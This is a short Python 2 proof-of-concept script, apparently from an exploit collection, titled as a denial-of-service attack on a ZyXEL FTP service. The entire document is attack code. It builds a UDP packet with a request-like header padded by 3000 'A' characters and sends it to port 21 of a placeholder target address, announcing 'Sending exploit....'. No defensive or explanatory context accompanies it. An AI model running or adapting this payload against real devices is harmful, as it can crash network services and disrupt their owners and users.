[Python] ZyXEL FTP Service DoS

import socket
host = 'IP Target'
port = 21
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
exploit = "A" * 3000
print "Sending exploit...."
pwned = "\x00\x02" + "A" + "\x00" + exploit + "\x00"
s.sendto(pwned, (host, port))